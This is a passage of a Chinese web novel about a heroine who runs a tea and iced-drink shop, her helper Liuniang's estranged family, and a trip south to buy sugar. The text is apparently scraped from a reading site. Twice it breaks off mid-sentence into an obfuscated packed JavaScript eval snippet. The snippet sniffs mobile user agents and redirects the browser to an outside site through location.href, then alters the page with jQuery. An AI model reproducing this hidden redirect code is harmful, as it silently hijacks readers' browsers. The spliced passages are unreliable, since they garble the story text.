陈婶接过杯子,冰凉的杯壁立刻在她掌心凝出一层水珠。她小心抿了一口,眼睛微微眯起:“这薄荷...真提神。”又喝了一口,“喉咙里凉丝丝的,舒服得很。” 呆六娘咕咚喝了一大口,满足地长叹一口气:“真舒服!比热茶爽快多了!”她咂咂嘴,“就是...就是有点不过瘾,要能再甜些就好了。” 江心月看着她们的反应,嘴角微微上扬。她望向门外炽热的阳光,忽然想起现代奶茶店的冰饮系列。那些装在透明杯子里的五彩缤纷的饮料,在炎炎夏日总是最受欢迎,常常排起长队。 “六娘,去集市买些新鲜水果来。”江心月从钱匣里数出几枚铜钱,“要最当季的,桃子、李子什么的。” “水果?”呆六娘接过钱,一脸疑惑,“三娘,您该不会......” 江心月已经开始在纸上写写画画,炭笔在粗糙的纸面上沙沙作响:“咱们可以做水果冰茶,冰镇薄荷奶茶,还有......”她顿了顿,笔下勾勒出一个碗的形状,“珍珠冰沙。” “珍珠冰沙?”陈婶和呆六娘异口同声,面面相觑。 江心月笑着解释:“就是把煮好的珍珠过凉水,加上碎冰和糖浆......”她边说边比划,“又Q又冰,最适合夏天。” 呆六娘听得两眼放光,一把抓起竹篮子:“我这就去买水果!”她刚要往外跑,又被江心月叫住。 “等等,”江心月又从钱匣里数出几枚铜钱,“顺便去冰铺订些冰。”她把钱塞进呆六娘手里,“跟他们说,咱们以后每天都要,让他们按时送来。” 陈婶看着江心月忙碌的身影,轻声问:“三娘,这冰饮......真能卖得好?”她犹豫了一下,“我是说,这么金贵的东西......” 江心月正在调试糖浆的浓稠度,闻言抬起头:“陈婶,您说,这么热的天,您是愿意喝热茶,还是冰镇饮料?” 陈婶想了想,脸上的皱纹舒展开来:“那还用说?”她笑着摇摇头,“就是心疼钱。” 傍晚时分,夕阳的余晖给珍珠坊镀上一层金色。江心月将第一批试验品摆在桌上:琥珀色的冰奶茶飘着嫩绿的薄荷叶,粉红的桃子冰茶里浮着晶莹的果肉,还有一碗雪白的珍珠冰沙,上面淋着金黄的蜂蜜,在烛光下闪闪发亮。 “来,都尝尝。”她招呼着店里的伙计们。 最先被抢光的是珍珠冰沙。春桃捧着碗,连最后的糖浆都舔得干干净净:“江掌柜,这个太好吃了!”她意犹未尽地舔着嘴唇,“又冰又甜,珍珠还特别弹牙,咬起来咯吱咯吱的!” 陈婶小口啜饮着桃子冰茶,脸上的皱纹都舒展开了:“这桃子味真足,甜中带点酸,解暑最好。”她眯起眼睛,“让我想起小时候,娘亲给我做的冰镇酸梅汤。” 呆六娘已经喝完了薄荷奶茶,正眼巴巴地看着其他人的杯子:“三娘,咱们明天就卖这些?”她指了指空杯子,“我觉得可以再加点糖......” 江心月点点头,在账本上仔细记下各种原料的用量:“明天一早,咱们就开始准备。”她抬头看了眼门外渐暗的天色,“六娘,去写个新招牌,就写''夏日冰饮,清凉上市'',挂得醒目些。” 夜深了,珍珠坊的后院还亮着灯。江心月正在调配最后一种口味——荔枝冰茶。她将剥好的荔枝肉放在石臼里轻轻捣碎,乳白的果汁顺着石臼的纹路流下,散发出甜美的香气。加入凉茶和少许蜂蜜后,她小心地将混合好的茶汤倒入瓷壶,最后放入冰鉴冷藏。 “三娘,这么晚还不睡?”陈婶提着灯笼走过来,昏黄的光线在院子里投下摇曳的影子,“明天还要早起呢。” 江心月擦了擦手上的果汁:“马上就好。”她掀开冰鉴,取出已经冰镇好的荔枝冰茶,“陈婶,您尝尝这个。” 陈婶接过杯子,浅粉色的茶汤里漂浮着雪白的荔枝肉,在烛光下显得格外诱人。她喝了一口,眼睛顿时亮了起来:“这...这味道真特别!”她又喝了一口,细细品味,“又香又甜,还有股子说不出的花香。” 江心月笑了,额前的碎发随着她的动作轻轻晃动:“这是荔枝,南方来的水果。我想着加在冰茶里,应该会受欢迎。” “肯定好卖!”陈婶笃定地说,手指无意识地摩挲着杯沿,“就是...”她欲言又止。 “成本高?”江心月接过话头,将冰鉴的盖子合上,“价格可以定高些。”她擦了擦手,“夏日冰饮本就是稀罕物,愿意花钱解暑的人不会少。” 陈婶若有所思地点点头,突然想起什么:“对了,明日要不要做些冰镇酸梅汤?我记得地窖里还有去年腌的梅子。” “好主意!”江心月眼睛一亮,“还可以加些桂花蜜,做成桂花酸梅汤。” 两人正说着,呆六娘兴冲冲地跑进来:“招牌写好了!”她举着一块崭新的木牌,上面用朱漆写着“夏日冰饮”四个大字,下面还画了个冒着凉气的杯子图案。 江心月接过木牌,指尖抚过还未干透的漆面:“写得真好。”她抬头看了看满天星斗,“明天,咱们就让全城的人都尝尝,什么才是真正的消暑佳品。” 夜色渐深,珍珠坊的灯火在永安城的街道上显得格外温暖。江心月收拾着明日要用的材料,心里已经开始盘算新的冰饮配方。 第二天清晨,珍珠坊门前早早排起了队。新挂的招牌在晨风中轻轻摇晃,“夏日冰饮”四个朱红大字在朝阳下格外醒目,下面画着的冰杯图案仿佛真的在冒着凉气。 “让让,让让!”卖豆腐的王婆子挎着空篮子挤到最前面,额头上还挂着汗珠,“江掌柜,真有好喝的冰饮?”她用手帕不停地扇着风,粗布衣裳的后背已经湿了一大片。 江心月笑着掀开冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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呆六娘惊讶地张大嘴,手里的勺子差点掉在地上。江心月不慌不忙地行了一礼:“大人稍等,马上就好。”她转身小声对呆六娘说,“把留着自用的那壶荔枝冰茶先拿来。” 傍晚收摊时,钱匣沉甸甸的,比平时重了许多。呆六娘坐在柜台后面数铜钱,笑得见牙不见眼:“三娘,今天赚的比往常三天还多!”她举起一串铜钱晃了晃,发出悦耳的声响。 江心月正在清洗器具,闻言笑了笑:“这才刚开始呢。”她望向西沉的太阳,晚霞将她的侧脸镀上一层金边,“等真正入夏,生意会更好。” 陈婶端来一碗冰镇绿豆汤:“三娘,喝点解解暑。”她心疼地看着江心月被水泡得发白的手指,“你今天站了一天了,连口水都没顾上喝。” 江心月接过碗,冰凉的触感让她长舒一口气。她忽然想起现代的那些奶茶店,夏天总是排着长队。看来无论古今,人们对冰饮的喜爱都是一样的。 “三娘,明天咱们还做珍珠冰沙吗?”呆六娘凑过来问,眼睛亮晶晶的,“今天好多客人没买到,可失望了。” “做,当然做。”江心月喝了一口绿豆汤,清甜的味道让她眯起眼睛,“而且要多做些。”她放下碗,开始清点剩下的材料,“明天再加一种新口味——酸梅冰沙。” “酸梅冰沙?”呆六娘好奇地眨眨眼,“是用地窖里那些腌梅子吗?” 江心月点点头:“把梅子去核捣碎,加上蜂蜜和碎冰......”她边说边比划,“酸甜可口,最解暑了。” 夜色渐深,珍珠坊的灯火在永安城的街道上显得格外温暖。 江心月收拾着明日要用的材料,将晒干的薄荷叶小心地装进瓷罐。陈婶在一旁剥着荔枝,雪白的果肉堆成一座小山。呆六娘哼着小曲,把明天要用的琉璃杯擦得锃亮。 “三娘,”呆六娘突然想起什么,“今天京兆尹府的人说,过几日要在府上办赏荷宴,想订咱们的冰饮呢!” 江心月手上的动作顿了顿:“要多少?” “整整五十杯!”呆六娘兴奋地比划着,“说是要招待贵客!” 陈婶惊讶地抬起头:“贵客?那可得好好准备。”她擦了擦手,“我明日一早就去市场,挑最新鲜的水果。” 江心月望向窗外的星空,心里已经开始盘算新的冰饮配方。这个夏天,注定会因为她的冰饮而变得不一样。 夜深了,江心月还在灯下写着什么。 纸上密密麻麻记满了各种配方:薄荷要几钱,蜂蜜要几勺,冰块要多大......她时而停笔思考,时而轻轻点头。烛光将她的影子投在墙上,随着火焰的跳动而微微摇晃。 窗外,一轮明月高悬。珍珠坊的招牌在夜风中轻轻摆动,仿佛在向整个永安城宣告,这个夏天,将会有不一样的清凉滋味。 21. 第 21 章 天刚蒙蒙亮,江心月就被一阵急促的敲门声惊醒。她推开窗,看见呆六娘正踮着脚往马车上搬东西,发髻上沾着的晨露在曦光里闪着细碎的光。 “三娘!”呆六娘仰头喊,声音里带着喘息,“冰鉴太重了,快来搭把手!” 江心月匆匆披衣下楼。院子里,两个包着厚棉被的大木箱正冒着白气。她伸手摸了摸,冰凉的触感透过棉布传来。 “荔枝肉都捣好了?”她搓着手问,早晨的凉意让她打了个哆嗦。 呆六娘掀开箱盖,露出里面排列整齐的青瓷碗:“按你说的,每碗冰沙上都盖了芭蕉叶。”她突然凑近,压低声音,“就是玫瑰露比预想的少了两瓶......” “够用。”江心月数着碗数,手指在碗沿上轻轻点过,“夫人们最多尝个鲜,不会真吃完。”她说着把歪了的碗扶正。 马车驶过空荡荡的街市,车轴发出吱呀声响。呆六娘一直盯着冰鉴,手指无意识地绞着衣角。 “紧张?”江心月用胳膊肘碰了碰她。 呆六娘摇摇头,又点点头:“我、我没见过大官家的宅子。”她声音越来越小,“听说他们家的狗都比人金贵......” 当马车拐进朱雀大街时,两人同时屏住了呼吸。 朝阳把京兆尹府的朱漆大门照得像抹了层油,门楣上“清正廉明”的匾额金灿灿的晃眼睛。门前两尊石狮子张着大口,仿佛下一秒就要吼出声来。 “那、那屋檐上......”呆六娘突然抓紧江心月的袖子,“蹲的是麒麟吗?” 江心月顺着她手指的方向看去,屋檐四角确实蹲着几只造型奇特的石兽,在晨光中威风凛凛,“是獬豸,专吃贪官的那种。”她故意逗呆六娘。 门房小厮皱着眉打量她们粗布衣裳上沾的冰渣:“送冰饮的?走侧门。”他鼻子里哼了一声,像赶苍蝇似的挥挥手。 穿过侧门时,呆六娘的绣花鞋踩在青石板上发出清脆的声响。她突然停下脚步,指着游廊下挂着的金丝鸟笼:“三娘你看!那画眉吃的樱桃比咱们卖的还大!” 江心月正要说话,忽然闻到一阵荷香。转过影壁,满池荷花撞进眼里,粉白的花瓣上露珠滚来滚去。呆六娘张着嘴,差点撞上前面的丫鬟。 “两位姑娘,这边请。”一个穿绿比甲的丫鬟引着她们往后院走。 穿过月亮门,呆六娘的脚步越来越慢。她盯着假山旁的石雕,突然拽了拽江心月的衣角:“那池子里的红鲤......比我胳膊还粗......”池中一尾红鲤跃出水面,“啪”地溅起水花。 江心月捏了捏她冰凉的手指:“记住,咱们的冰饮,他们一辈子都没吃过。”她声音很轻,但字字清晰。 水榭里传来阵阵说笑声。十几个着锦缎的夫人正在赏荷,有个穿月华裙的突然指着她们:“快看,送冰碗的来了!” 江心月深吸一口气,揭开青瓷碗上的琉璃盖。粉白的荔枝冰沙冒着丝丝凉气,如初雪般晶莹。 “这是用岭南荔枝肉捣的冰沙。”她用银匙轻轻拨开表层,冰沙发出细微的沙沙声,“浇的是晨露初收时采的玫瑰露。” 呆六娘麻利地往每碗冰沙上放龙眼,动作又快又稳:“这两粒新鲜龙眼要最后吃,能解甜腻。”她说话时眼睛亮晶晶的。 夫人们惊讶地看着玫瑰露在冰沙上渐渐晕开,像朝霞映在雪地上。 一位戴金步摇的夫人刚尝了口,就惊呼:“这冰竟半点不碜牙!” “回夫人,”江心月笑道,“我们用细纱滤了十遍,再放在井水里镇了一夜。”她说着指了指冰鉴上凝结的水珠。 “有意思!”另一位穿绛紫褙子的夫人拍手,,腕间的玉镯相碰发出清脆声响,“这冰沙看着像雪,吃着像蜜,叫什么名儿?” 江心月正要回答,屏风后传来一声轻咳。一个着沉香色马面裙的妇人缓步走来,翡翠镯子在水榭的光线下泛着柔光。 呆六娘手里的银匙“当啷”掉在了地上,在地板上弹了两下。 “六娘...”妇人眼眶突然红了,声音有些发抖,“你怎么瘦成这样?” 水榭里霎时安静下来。江心月看见妇人发间的金凤簪微微颤动——那是正室夫人才能戴的样式。 呆六娘弯腰捡起银匙,在围裙上擦了擦:“夫人认错人了。”她声音很轻,但每个字都咬得清清楚楚。 “你三岁起就最怕热......”妇人伸手想碰呆六娘的脸,又在半空停住,手指微微发抖,“回家吧,你爹他......” “夫人尝尝冰饮吧。”呆六娘端起一碗递过去,指尖发白,声音却稳得出奇:“龙眼要趁冰吃。” 有夫人打圆场:“这冰沙当真稀奇,叫什么名儿?” “雪霞饮。”江心月接过话头,往呆六娘身边挪了半步,“取''晓露染霞色,清冰凝荔香''的意思。” 刘夫人怔怔望着碗里融化的玫瑰露,忽然说:“给我也来一碗。” 呆六娘舀冰沙的手很稳,只是指尖发白。当她把碗递给刘夫人时,轻声说了句:“我现在过得很好。”这句话轻得像叹息,但江心月听得清清楚楚。 离府时,看门的小厮追上来塞给呆六娘个荷包:“夫人赏的。”呆六娘刚要推辞,江心月已经接过来掂了掂——碎银子底下还压着张地契。 那晚的月亮特别圆,江心月记得很清楚。院子的小板凳上,她和呆六娘并排坐着。月光透过柳树的缝隙洒下来,在地上投下斑驳的光影。 “芝麻饼。”江心月往旁边挪了挪,让出半张板凳,“周叔家的,我排了半个时辰队呢。”油纸包打开时发出脆响,热气混着芝麻香扑面而来。 呆六娘一屁股坐下,她掰了块最大的递给江心月:“你先吃。”她的手指沾上了油渍,在月光下亮晶晶的。 呆六娘手里捏着半块芝麻糖,糖渣簌簌地往下掉,落在她的粗布裙子上。她盯着那些碎屑看了好久,突然开口:“其实......我娘是妾。”这句话轻得像片羽毛落在地上。 江心月正往小茶炉里添炭,闻言手顿了顿。她没有说话,只是把刚煮好的姜茶往呆六娘那边推了推。茶碗里的热气在月光下袅袅升起,模糊了两人的视线。 “那年我十岁。”呆六娘盯着茶碗里晃动的月影,手指无意识地摩挲着碗沿,“外祖父家犯了事,娘跪在书房外求了一整夜。” 茶炉里的炭火“啪”地爆了个火星。江心月看见呆六娘的手指微微发抖,指甲边缘因为常年干活而有些粗糙。 “父亲说......国法大于家事。”呆六娘的声音突然哽住了,她低下头,一滴水珠落在手背上,在月光下闪着微光。 “后来娘带着我走了。”呆六娘突然笑了一下,那笑容在月光下显得格外脆弱,“就带了个小包袱,里头装着我的布老虎,还有两件换洗衣裳。”她说着摸了摸怀里,好像那里真有个布老虎似的。 她掰下一小块芝麻糖放进嘴里,慢慢咀嚼着:“我们住在城南的破院子里。娘给人绣帕子,我去药铺碾药。”她的手指在膝盖上轻轻划着,像是在回忆绣绷的纹路,“有天娘咳血染红了绣绷......” 声音突然断了。江心月轻轻握住她发抖的手,发现指尖冰凉。两人就这样沉默着,只有茶炉里的炭火偶尔发出轻微的噼啪声。 “父亲来接我们回去时,娘已经说不了话了。”呆六娘盯着地上爬过的蚂蚁,声音轻得几乎听不见,“她最后指了指我,又指了指父亲。” 月光把两人的影子投在地上,一个缩成小小的一团,像是要把自己藏起来。 江心月突然觉得胸口发闷——这丫头平日活蹦乱跳得像只麻雀,此刻却像是被雨水打湿的雏鸟。 “府里很好。”呆六娘突然转了话头,语气轻快了些,“刘夫人给我做新衣裳,弟弟妹妹也爱跟着我玩。”她掰着手指细数,“有吃不完的点心,睡不冷的床......” 江心月注意到呆六娘说这些时,手指一直无意识地揪着衣角。 “就是......太好了。”呆六娘突然把脸埋进掌心,声音闷闷的,“每次用膳,刘夫人都把最好的菜夹给我。弟弟过生辰,我的新衣裳比他还多......”她的肩膀轻轻抖动着。 她抬起头,眼泪在火光下亮晶晶的:“三娘,你明白吗?他们越对我好,我越觉得自己像个外人。”她胡乱抹了把脸,“就像、就像他们是在替我娘补偿我。” 呆六娘用袖子擦了擦脸,粗布摩擦皮肤发出轻微的声响:“及笄那天,我穿着大红织金裙。”呆六娘盯着地上的影子,“父亲请了全城的夫人小姐,刘夫人给我插簪时手都在抖。”她突然苦笑,“那么多人看着,我却只想逃。所以那天,我留了封信就跑了。” 江心月想起原主第一次在见到呆六娘的样子——精致的绣鞋踩在泥地里,沉重的金簪滑落草丛。 “其实...我今天见到父亲了。”呆六娘裹紧外袍,声音闷在布料里,“在拐角的时候,他正跟人聊天。”她揪着衣服上的盘扣,“我就在后面看着,看着他走过去...背影好像没以前挺了。” 茶炉上的水又开了,白气一股股往外冒。江心月拎起铁壶冲茶,水声盖过了呆六娘吸鼻子的声音。 “三娘。”呆六娘突然抬头,眼睛在月光下亮得惊人,“要是...要是我现在回去,会不会很没出息?” 江心月把冲好的茶推过去:“你想回去?” “我不知道。”呆六娘捧起茶碗暖手,“就是今天看见父亲的白头发...还有,刘夫人今日给的荷包。”她咬了下嘴唇,“可我一想到要天天穿那些漂亮衣裳,像个瓷娃娃似的......” “后悔吗?”江心月轻声问,往茶壶里添了些热水。 呆六娘摇摇头,忽然从怀里掏出个旧荷包。荷包的绣线已经有些褪色,但上面的梅花图案依然精致。她小心翼翼地打开,里面除了几块碎银子,还有张泛黄的纸片,上面歪歪扭扭画着三个小人。 “我小时候画的。”呆六娘的手指轻轻抚过纸片,指尖在某个位置停顿了一下,“父亲,刘夫人,还有我。” 江心月凑近看了看。画上那个扎着小辫的女孩笑得灿烂,站在两个大人中间,三人手拉着手。 “其实......”呆六娘嚼着饼,含混不清地说,“在珍珠坊的日子,比在府里自在多了。”她踢了踢脚边的石子,“虽然睡硬床板,吃粗茶淡饭,但不用天天担心行差踏错。” 江心月看着她被月光勾勒的侧脸:“刘夫人知道你来这儿吗?” “不知道。”呆六娘摇头,突然笑了,“但现在知道了。” “三娘。”呆六娘盯着那点微光,“你说......我是不是太不知好歹了?” 江心月拿起火钳拨了拨炭火:“怎么说? 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呆六娘把布老虎紧紧抱在怀里,突然“噗嗤”笑了:“记得吗?第一次见面你就笑话它。” “因为你说它叫''大将军''。”江心月也笑了,“明明耳朵都掉了一只。” “那是打仗受伤的!”呆六娘抗议道,声音终于有了往日的活力。她把布老虎举到月光下,“你看,现在伤好了。” 茶炉重新烧开了,江心月沏了杯新茶。两人安静地喝着,月光渐渐西斜。不知过了多久,呆六娘突然说:“三娘,我明天......想回去看看刘夫人。” 江心月点点头,把荷包递还给她。呆六娘却没接,只是把布老虎小心地塞进怀里。 “这个你留着。”她推回荷包,“要是、要是我后天没回来,你就......” “我就去府上要人。”江心月打断她,把荷包塞进呆六娘袖袋,“顺便讨要这半个月的芝麻饼钱。” 呆六娘瞪大眼睛,随即哈哈大笑。 “三娘。”呆六娘突然开口,声音比平时轻,“我今天去城南了。” “那个破院子还在。”呆六娘的声音有些许哽咽,“窗纸还是我娘补的那块,补丁像个歪嘴娃娃。”她突然笑起来,笑声却像被什么掐断了,“王掌柜的药铺改成绸缎庄了,门口那截树桩倒没变,我总坐在上面等娘领工钱。” 江心月往茶炉里添了块炭。火星“噼啪”炸开时,呆六娘的肩膀跟着抖了一下。 “睡吧。”江心月起身拍了拍她的肩,“明天还要熬新的玫瑰露。” 月光下,两人肩并肩往屋里走。江心月突然想起什么,转身从架子上取下一个小瓷罐。 “给,”她将瓷罐递给呆六娘,“昨天熬的枇杷膏,睡前含一勺,对嗓子好。” 呆六娘接过瓷罐,手指在光滑的釉面上摩挲了几下,突然笑了:“三娘,你跟我娘一样爱操心。” 月光透过窗棂,在床榻上洒下斑驳的光影。 江心月侧身躺着,听着身旁呆六娘均匀的呼吸声。这小丫头睡前还抽抽搭搭的,这会儿倒是睡得香甜。 借着月光,江心月看见呆六娘脸上还挂着未干的泪痕,睫毛上沾着细小的泪珠。她伸手轻轻擦了擦,指腹触到温热的湿意。 呆六娘在睡梦中皱了皱鼻子,翻了个身,把怀里的布老虎抱得更紧了。 江心月掖了掖被角,却怎么也睡不着。屋外传来几声虫鸣,夜风拂过窗前的柳枝,发出沙沙的轻响。她望着房梁上晃动的光影,忽然想起很久以前的事。 那时她还是个扎着羊角辫的小丫头,每天最期待的就是晚饭后跟父亲学泡茶。父亲的手很大,能稳稳地握住茶壶,水流像一条银线注入茶杯。“要慢,”父亲总说,“水太急会把茶叶烫坏。”母亲就坐在一旁绣花,时不时抬头笑看他们父女俩。 江心月记得父亲教她认茶叶时,总爱用手指轻轻点她的鼻尖。“这是龙井,这是碧螺春......”茶香混着父亲身上的松木味,特别好闻。有次她不小心打翻了茶盏,滚烫的茶水泼在手上,疼得直掉眼泪。父亲连忙把她抱到井边冲凉水,母亲急得连针线筐都打翻了。 想到这里,江心月眼眶有些发热。她轻轻翻了个身,怕惊醒了身旁的呆六娘。月光移到了床尾,照亮了墙角放着的小茶炉。那是她照着记忆里父亲用的样式做的,虽然粗糙了些,但煮茶时总觉得父亲就在身边似的。 呆六娘突然在梦中呓语:“娘......别走......”声音里带着哭腔。江心月连忙轻轻拍她的背,像哄小孩一样。呆六娘渐渐安静下来,呼吸又变得绵长。 江心月望着窗外那轮明月,想起父亲常说“月是故乡明”。不知道现实世界的父母现在可好?是不是也在看着同样的月亮?她突然很想再喝一次父亲泡的茶,再听母亲唠叨几句“女孩子要端庄”。 呆六娘又往她这边蹭了蹭,脑袋抵在她肩膀上。江心月轻轻叹了口气,把被子往她那边拉了拉。 明天还要早起熬玫瑰露呢。江心月闭上眼睛,听着呆六娘均匀的呼吸声,慢慢沉入梦乡。梦里,她似乎又闻到了那熟悉的茶香,听见父亲在说:“月儿,水要慢些倒......” 明天,当太阳升起时,珍珠坊又会迎来新的一天。会有新的茶要煮,新的冰饮要调配,新的客人要招待。但此刻,在这静谧的月光下,有些心事只能说给月亮听。 22. 岭南行 呆六娘挎着竹篮蹦蹦跳跳地往西市走,篮子里装着江心月交代要买的茉莉花茶和水果。清晨的集市已经热闹起来,叫卖声此起彼伏。 “新鲜出炉的芝麻饼!” “上好的山货,来看看嘞!” 她正蹲在一个卖干果的摊子前挑核桃,忽然听见旁边两个糖贩子在闲聊。 “听说了吗?岭南那边甘蔗全完了。”一个穿着褐色短打的瘦高个压低声音说,还左右张望了一下。 “可不是!”另一个胖乎乎的商贩拍着大腿,“我表兄刚从那边回来,说今年雨水太多,甘蔗都烂在地里了,连根都发黑了。” 呆六娘手里的核桃“啪嗒”掉在地上,骨碌碌滚到那两人脚边。她的心一下子提到了嗓子眼,珍珠坊的奶茶可全靠这糖提味呢! “小丫头,你的核桃。”瘦高个弯腰捡起来递给她。 “大叔,您刚才说......岭南的甘蔗......”呆六娘接过核桃,声音有些发抖。 “唉,今年糖价怕是要翻倍咯。”胖商贩摇着头,脸上的肉跟着晃了晃,“我们这些小本买卖,可怎么活啊。这日子真是越过越难了。” 呆六娘连核桃都顾不上要了,转身就往回跑。竹篮在胳膊上晃来晃去,差点把里面的罐子打翻。 “让让!让让!”她灵活地在人群中穿梭,差点撞翻一个卖糖葫芦的老汉。 “哎哟,小丫头赶着投胎啊!”老汉扶了扶歪掉的草帽,冲着她的背影喊道,“看着点路!” 呆六娘一口气跑回珍珠坊,推开店门时差点被门槛绊倒。江心月正在教新来的学徒煮茶,见她这副模样,连忙放下手中的茶勺。 “六娘,怎么了?慌慌张张的。”江心月用围裙擦了擦手,眉头微蹙。 “三娘!出事了!”呆六娘上气不接下气,从怀里掏出记账用的炭笔和纸片,歪歪扭扭写下“岭南甘蔗歉收,糖价翻倍”几个大字,“我刚在集市上听糖贩子说的!” 店里的学徒们闻言都停下了手中的活计,面面相觑。一个扎着蓝头巾的小姑娘怯生生地问:“那我们的奶茶......” “这可怎么办?”呆六娘急得直跺脚,“咱们奶茶全靠这糖提味呢!” 江心月接过纸条,眉头渐渐皱起。她走到柜台前,翻开账本看了看最近的糖价记录,手指轻轻敲打着桌面,发出“笃笃”的声响。 “六娘,你确定听清楚了?是岭南?”江心月的声音还算平静,但眼神已经变得凝重。 “千真万确!”呆六娘用力点头,小脸涨得通红,“那两个糖贩子说,甘蔗都烂在地里了,连根都黑了。他们还说是雨水太多闹的。” 陈婶从后厨探出头来,手里还拿着擀面杖,面糊沾在围裙上:“这可麻烦了,咱们库里的糖只够用半个月。要是涨价了,那些加盟的小店怕是要撑不住。” 江心月“啪”地合上账本,突然抬头,眼神坚定:“收拾行李,我们去岭南。” “现在?”呆六娘瞪大眼睛,嘴巴张得能塞进一个鸡蛋。 “直接找蔗农买。”江心月已经开始解围裙,“趁着消息还没传开,说不定能买到存货。省去中间商,价钱也能便宜不少。” 店里的学徒们顿时议论纷纷。那个扎蓝头巾的小姑娘鼓起勇气问:“江掌柜,那我们......” “照常上课。”江心月从柜台下取出钱袋,“陈婶会教你们煮茶,我们很快就回来。” 呆六娘已经跑上楼去收拾包袱,噔噔噔的脚步声在木楼梯上格外响亮。 江心月走到门口,望着院子里那排刚抽新芽的桂花树,阳光透过树叶在地上投下斑驳的影子。她深吸一口气,转身开始清点要带的银两和文书。 三日后,天还没亮,珍珠坊门前就停了一辆马车。江心月正把最后一个包袱塞进车厢,手指被露水打湿,凉丝丝的。 六娘抱着个鼓鼓囊囊的包袱从店里冲出来,头发都还没梳整齐。 “三娘!”呆六娘抱着个鼓鼓囊囊的包袱从店里冲出来,头发乱蓬蓬的,显然刚起床就忙着收拾,“我带了驱蚊的香包!陈婶说南边蚊子有铜钱那么大,咬一口能肿三天!”她献宝似的打开包袱,里面整整齐齐码着十几个绣着艾草纹的香囊,针脚歪歪扭扭却透着股认真劲儿。 江心月忍不住笑出声,戳了戳她鼓鼓的包袱:“你这是要把岭南的蚊子都熏跑?”她接过一个闻了闻,浓郁的艾草味冲得她皱了皱鼻子。 “给蔗农家的孩子们也带几个。”呆六娘认真地说,手指轻轻抚过香囊上的绣纹,“陈婶说,给小孩子带点小礼物,大人们说话都和气些。”她顿了顿,压低声音,“而且我还偷偷在里头塞了陈皮糖,孩子们肯定喜欢。” “多带些干粮。”阿尔罕牵着马走过来,“南边湿热,路上小心瘴气。我装了腌肉和硬饼,能放得久。”他又从怀里掏出一个鼓鼓的皮囊,“这是我画的路线图,标了安全的客栈。” 江心月接过皮囊,低头解开系绳,里面除了折叠整齐的地图,还有一小包用油纸包着的药丸,散发着淡淡的草药香。 “这是?” “防瘴气的药。”阿尔罕不自在地摸了摸鼻子,目光飘向远处,“我找相熟的西域商人买的,一天一粒,很管用。”他顿了顿,又补充道:“红色那包是治腹泻的,绿色是退热的。” “谢谢。”江心月轻声说,把皮囊小心地系在腰间。她转身对站在门口的陈婶嘱咐道:“店里就拜托你了,新来的学徒要是学不会煮珍珠,就让他们多练几遍......” 陈婶摆摆手,打断她的话:“放心去吧,老婆子我看着呢。”她突然想起什么,从袖子里掏出个小布包,“差点忘了,带着这个。” 江心月打开一看,是几块桂花糕。 “路上吃。”陈婶眨眨眼,眼角的皱纹舒展开来,“等你们回来,新一批桂花就该开了,正好做新的。” 马车缓缓驶动,发出“咯吱咯吱”的声响。 呆六娘突然扒着车窗探出半个身子,晨风吹乱了她的额发:“三娘快看!桂花树抽新芽了!” 江心月回头望去,晨雾中的珍珠坊门前,那排桂花树果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369405|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒出了嫩绿的新芽,在微风中轻轻摇曳。她忽然想起浔阳秋蹲在树旁说过的话:“等树长高了,咱们在下面埋几坛女儿红。” “等咱们回来,”她轻声说,手指无意识地摩挲着腰间的皮囊,“桂花就该开了。” 马车转过街角,珍珠坊的轮廓渐渐模糊。 车夫老陈在前头咳嗽一声:“两位姑娘坐稳喽,要出城了。”说着甩了个响鞭,拉车的枣红马打了个响鼻,蹄铁在石板上敲出清脆的节奏。 呆六娘整个人趴在车窗上,突然“哎呀”叫出声:“三娘!我忘记把茶叶拿出去晾了!” “不妨事,”江心月伸手把她拽回座位,“我昨儿交代过陈婶了。” 呆六娘靠在车厢上,突然问道:“三娘,岭南远吗?” “挺远的。”江心月望着窗外渐渐亮起来的天色,远处田埂上已经有农人扛着锄头往地里走,“要过三条大河,翻两座山。顺利的话,十来天能到。”、 呆六娘掰着手指头数了数,突然压低声音:“那......我们能遇见秋儿哥吗?” 车厢里突然安静下来,只有车轮碾过碎石的声音。江心月感觉胸口像是被什么东西轻轻撞了一下,她低头整理裙摆上的褶皱:“岭南那么大,未必能碰上。” “可是......”呆六娘的手指不停地在衣角上绕来绕去,把那块粗布揉得满是褶子,“要是遇见了,他问起咱们为什么去岭南......” “就实话实说。”江心月撩开车帘,让晨风吹散脸上突然升起的热意,“糖价涨了三成,再不想办法,珍珠坊就要关门大吉了。” 这话像块石头似的砸在车厢里。呆六娘安静了一会儿,又小声问道:“那......我们能找到便宜的糖吗?要是找不到,咱们的奶茶......” 江心月摸了摸她乱蓬蓬的头发:“一定能。岭南那么大,总有没被雨水泡坏的甘蔗。”她顿了顿,又笑道:“再说,咱们呆六娘不是带了那么多香囊吗?蔗农家的孩子们一高兴,说不定还能给咱们便宜些。” 正说着,马车突然剧烈颠簸了一下。江心月连忙抓住车窗,只见前方路中央横着段被雨水冲垮的树干。老陈跳下车去搬,呆六娘也要下去帮忙,被江心月一把拉住:“外头露水重,你鞋袜湿了又该喊脚疼。” 呆六娘不服气地撇嘴:“我都十四了,又不是小孩子。” “是是是,我们呆六娘是大姑娘了。”江心月笑着给她整了整衣领,“等从岭南回来,给你做身新裙子。” “真的?”呆六娘眼睛一亮,随即又警惕起来,“三娘你别哄我,上回说给我买绒花,结果钱都拿去买琉璃杯了。” 江心月正要辩解,老陈已经搬开树干回来了。马车重新启动时,远处传来急促的马蹄声。一队穿着褐色短打的汉子骑着马飞驰而过,扬起一片尘土。 “是漕帮的人。”老陈啐了口唾沫,“准没好事。” 呆六娘缩了缩脖子,凑到江心月耳边小声说:“听说漕帮少主都文曜可凶了,上次把西街卖蜜饯的老刘头摊子都掀了。” 23. 岭南行 